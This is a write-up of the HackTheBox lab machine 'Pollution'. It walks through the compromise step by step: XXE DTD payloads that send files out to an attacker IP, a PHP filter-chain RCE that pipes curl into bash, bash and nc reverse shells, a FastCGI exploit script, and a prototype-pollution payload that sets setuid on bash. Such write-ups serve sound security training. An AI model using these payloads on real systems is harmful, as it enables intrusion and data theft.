HackTheBox Writeup: Pollution
A detailed writeup of the HTB machine “Pollution”.
NMAP scan
The nmap scan reveals a Debian machine with 3 open ports:
- port 22: SSH service
- port 80: Apache webserver
- port 6379: redis
Manual Inspection
Browse the website and we find that the server leaks the hostname collect.htb, add it to our hosts file.
Other than that the website offers two functionalities:
- to login as existing user
- to register a user
This allows to enumerate users. If we register as “admin” with wrong password we get the error message that such a user already exists.
Go ahead and register a user to expand our attack surface.
Directory Enumeration
While we do our manual enumeration, let gobuster run to find potential endpoints that are not visible on the first glance.
Here we se that the assets folder is not protected, allows directory listing.
- /assets/js/send_xml.js
- /assets/js/delete_user.js
Vhost Enumeration
Once the directory enumeration is done, we can enumerate potential vhosts:
gobuster vhost -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u "collect.htb"
And we find two subdomains:
- forum.collect.htb
- developers.collect.htb

Requires Basic Auth: developers.collect.htb
We can’t access developers.collect.htb yet, because it requires Basic auth. (401: Authorization required)
MyBB forum
We can browse the forum, which runs on MyBB. Register an account and let’s see if we can find something useful.
For one, we can:
- enumerate valid users: http://forum.collect.htb/memberlist.php
Store those users to a text file, they might become handy later on.
Additionally, one user leaks some valuable information:
- proxy_history.txt: http://forum.collect.htb/attachment.php?aid=3
secret token exposed via Information Leakage
Write a simple python script to parse the content of CDATA tags:
from bs4 import BeautifulSoup, CData
import base64
import binascii
with open("history.xml", "r") as txt:
soup = BeautifulSoup(txt)
for cd in soup.findAll(text=True):
if isinstance(cd, CData):
print('CData contents: %r' % cd)
We spot a interesting entry within the history file:
<item>
<time>Thu Sep 22 18:29:34 BRT 2022</time>
<url><![CDATA[http://collect.htb/set/role/admin]]></url>
<host ip="192.168.1.6">collect.htb</host>
<port>80</port>
<protocol>http</protocol>
<method><![CDATA[POST]]></method>
<path><![CDATA[/set/role/admin]]></path>
--- SNIP ---
</item>
It reveals a request to the endpoint /set/role/admin and its response.
Decode the Base64 encoded strings:
And we get a token, which allows an attacker to upgrade any user to “admin” user role.
XXE - exfiltrate config files
Login with our previously created test user and issue the above POST request to get access to the administration panel.

There we can interact with the API endpoint /api:
To read on how what this vulnerability is and how to exploit it, refer to this link.
Create a evil.dtd on your attacking machine and let’s have some fun. This evil.dtd allows to exfiltrate index.php:
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.x.x/?file=%file;'>">
%eval;
%exfiltrate;
evil.dtd: to read content from index.php
We send the payload below to the API endpoint and wait for the response:
manage_api= %xxe;]>
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.3/?file=%file;'>">
%eval;
%exfiltrate;
Index.php includes a file called bootstrap.php, let’s grab this config file as well:
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.3/?file=%file;'>">
%eval;
%exfiltrate;
Since we can not read /etc/passwd and not spawn a shell right now, we have to keep on digging.
What other files could be useful to the attacker?
CREDS - IT’S ALL ABOUT CREDS
Since we know there is the developers.collect.htb vhosts protected by Basic Auth, we could try and read:
- /var/www/developers/.htaccess
- /var/www/developers/.htpasswd
Bingo! We get credentials:
developers_group:$apr1$MzKA5yX<REDACTED>D7jY1:<REDACTED>
Use hashcat to crack the hash and login to the endpoint, we previously had no access to.
One of the config files mentioned above, contains some credentials for the redis service we have enumerated earlier.
tcp://127.0.0.1:6379/?auth=<CENSORED>
REDIS - PHPREDIS_SESSION
When enumerating the redis service with the help of this, we find a PHPREDIS_SESSION token:
PHPREDIS_SESSION:<REDACTED>
An attacker would conclude that the web server uses PHPREDIS_SESSION to manage sessions for the web application. We can confirm this by looking at the php.ini file.
How can an attacker profit from this? He could simply set a own custom PHPREDIS_SESSION cookie and elevate its privileges that way.
Set a custom PHPREDIS_SESSION cookie
- An attacker copies his cookie from developer.collect.htb.
- He connects to the redis service via redis-client
- Set a custom PHPREDIS_SESSION token.
set PHPREDIS_SESSION:<REDACTED> "username|s:1:\"a\";role|s:5:\"admin\";auth|s:4:\"True\";"
RCE VIA PHP-FILTERS-CHAIN
Go ahead and read the links below to get a better understanding of the attack vector that is used below.
- https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it.html
- https://github.com/synacktiv/php_filter_chain_generator
We’ll be using this python script to generate our payloads.
As you can see, we have achieved code execution on the server.

We try to get a reverse shell, but unfortunately the payload size is too big – it gets rejected by the server.

Here is a workaround to decrease the payload’s size:
Create a reverse shell bash script on our local machine:
bash -i >& /dev/tcp/10.10.14.3/9001 0>&1
Give it execute permission (chmod +x) and host the file via a web server (python -m http.server 80).
The next step is to curl the file and pipe it over to bash, so it gets executed:
python3 php_filter_chain_generator.py --chain '<?=`curl 10.10.14.3/x | bash` ?>'
We have a working shell and can operate as www-data. Upgrade the shell to a fully interactive one and let’s get user from here.
www-data to victor - mysql, fastcgi
From here on, we have to become victor in order to get to the user.txt flag:

We enumerate a bunch of config files and get the credentials for the MySQL service on port 3306.

We authenticate to the MySQL service and dump the tables:
mysql -u webapp_user -p
There are couple of databases:
- developers
- forum
- webapp
- pollution_api
And we find the password hash of admin.

MariaDB [forum]> select uid,username,password,salt,loginkey,email FROM mybb_users \G
*************************** 1. row ***************************
uid: 1
username: administrator_forum
password: b254efc2c5716af2089ffeba1abcbf30
salt: DFFbL50R
loginkey: A0y92JQgmcgWYD58HJ60DiiCt3P99x8OZfvOxEPwJLmqOeSOwW
email: admin@mail.com
*************************** 2. row ***************************
uid: 2
username: john
password: e1ec52d73242b78fdee6be117569b602
salt: UsWOsbCe
loginkey: l7aOWBckgI4ftj2l4DOiStHdbBvGd7yTMQq1S3o9MKxjStGsIs
email: john@mail.com
*************************** 3. row ***************************
--- SNIP ---
Initially, we were stuck here, but it is important do thorough enumeration.
netstat -tupln
There is a service listening on localhost port 9000 and after some time spend on Google, we realize it is the fastcgi service.
See here: https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
- We can read the user.txt flag by tweaking the script a bit.
- We can pop another reverse shell by executing:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 1337 >/tmp/f
Prototype pollution to RCE
Login back to the MySQL service, go change the role from ‘user’ to ‘admin’ in the pollution_api database.
login
Login to the API with a valid user:
curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"test","password":"test"}'
The server response with a valid x-access-token:
{"Status":"Ok","Header":{"x-access-token":"<REDACTED>"}}
setuid /bin/bash via prototype pollution
Send this payload to set the setuid bit on the /bin/bash binary.
curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: <REDACTED>" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require("child_process").execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
Et voila! We have effective UID as root.
bash -p